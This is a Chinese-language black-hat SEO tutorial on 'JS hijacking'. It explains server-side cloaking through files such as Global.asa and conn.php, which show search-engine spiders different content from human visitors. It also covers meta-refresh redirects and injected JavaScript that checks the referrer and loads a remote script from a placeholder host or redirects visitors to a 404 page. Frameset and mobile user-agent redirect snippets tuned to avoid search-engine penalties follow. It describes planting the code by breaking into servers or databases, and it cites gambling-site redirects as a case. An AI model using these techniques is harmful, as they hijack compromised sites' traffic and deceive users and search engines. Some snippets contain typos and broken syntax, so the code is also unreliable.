由於目前搜索引擎對於js代碼還沒有辦法完全識別,因此也就出現了利用js代碼跳轉的黑帽手法。現在網上有關js跳轉代碼比比皆是,但是作為黑帽的seo手法之一,如何做到有效降低跳轉的網站被k風險,這才是我們需要研究的一個方向。下面簡單分享一下有關js劫持的一些代碼,我了解到的只是皮毛,有不足之處歡迎各位同仁給予指導。本文的重頭戲將會在最后出現,請大家耐心往下看。js劫持主要有“服務器劫持”以及“用戶端劫持”兩種。
“服務器劫持”
服務器劫持也稱為全局劫持,以修改網站動態語言文本,判斷訪問來源控制返回內容,從來達到網站劫持的目的。服務端劫持的判斷方法:可以通過觀察網站后端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。也就是改變了每次訪問網頁從服務端獲取到的網頁代碼。
asp/aspx/php劫持
Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先加載該腳本, 然后再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問,則返回正常頁面。

“用戶端劫持”
客戶端劫持的手法也很多,但主要就是2種:Header劫持、js劫持。用戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(比如是否進行跳轉等)。
1,header劫持
主要作用是:利用的就是Meta Refresh Tag(自動轉向),將流量引走。
可以在源代碼中寫入以下代碼:
<meta http-equiv=“refresh“ content=“10; url=http://www.xxx.com“>
2,js劫持
js劫持的作用:通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。
js植入手法:可以通過入侵服務器,直接寫入源代碼中;也可以寫在數據庫中,因為有些頁面會呈現數據庫內容。
js劫持案例
我們經常看到的菠菜跳轉:通過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。
代碼:today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; }
分析:通過referer判斷來路,如果referer來路為空就是跳轉到404頁面,如果是搜索引擎來的referer里面也會有顯示,然后在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其余訪問跳轉等等。
較有效的防k站js代碼
如何有效防止或者延長網站被k的js代碼,就目前來說,個人覺得還是一個比較可行的方法。方法是把pc端和手機端分開寫入js代碼,來實現跳轉。應用方法:加入一個Javascript源文件(以js為擴展名),將以下代碼添加在里面,文件命名為tz,然后在網頁<head>下插入:<script src="js/tz.js></script>
網頁pc端跳轉
大家都知道,我們網站無論是整站優化還是單個頁面,當關鍵詞排名在首頁時,做黑帽手法的網站就可以考慮做跳轉到目標頁面了。為了獲取快速排名,所以做的頁面也大部分考慮給搜索引擎看,應盡量做好內容的可讀性和規避相似度,來滿足搜索引擎需求,這樣關鍵詞就會很快上首頁了。之后再做一個用戶體驗度較好的頁面,把流量自然跳轉到該頁面,這樣也就達到目的了。
代碼如下:
document.writeln("document.write(\"<frameset rows=\'100%,*\'frameborder=\'NO\'border=\'0\'framespacing=\'0\'>\");");
document.writeln("document.write(\"<frame name=\'main\'src=\'http://www.xxxxxx.com/jiqiao/'scrolling=yes>\");");
document.writeln("document.write(\"<\/frameset>\");");
document.writeln("<\/script>");
網頁手機端跳轉
道理和pc端一樣,我這里就不啰嗦了。代碼如下:
<script type="text/javascript">
if(/Andorid|webOS|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)){
if(window.location.href.indexOf("?pc")<0){try{window.location.href="http://www.xxxxxxxx.com/jiqiao/"}
catch(e){}}}</script>
注意點
值得注意的是,為了降低被k風險,我們做跳轉頁的時候盡量使主題和關鍵詞一致,內容則以引導性為主,頁面盡量優化好一點,提高用戶體驗度和降低跳出率,經測試此方法網站不容易被k,排名也比較穩定,當然,大家需要根據自己的實際情況來操作。
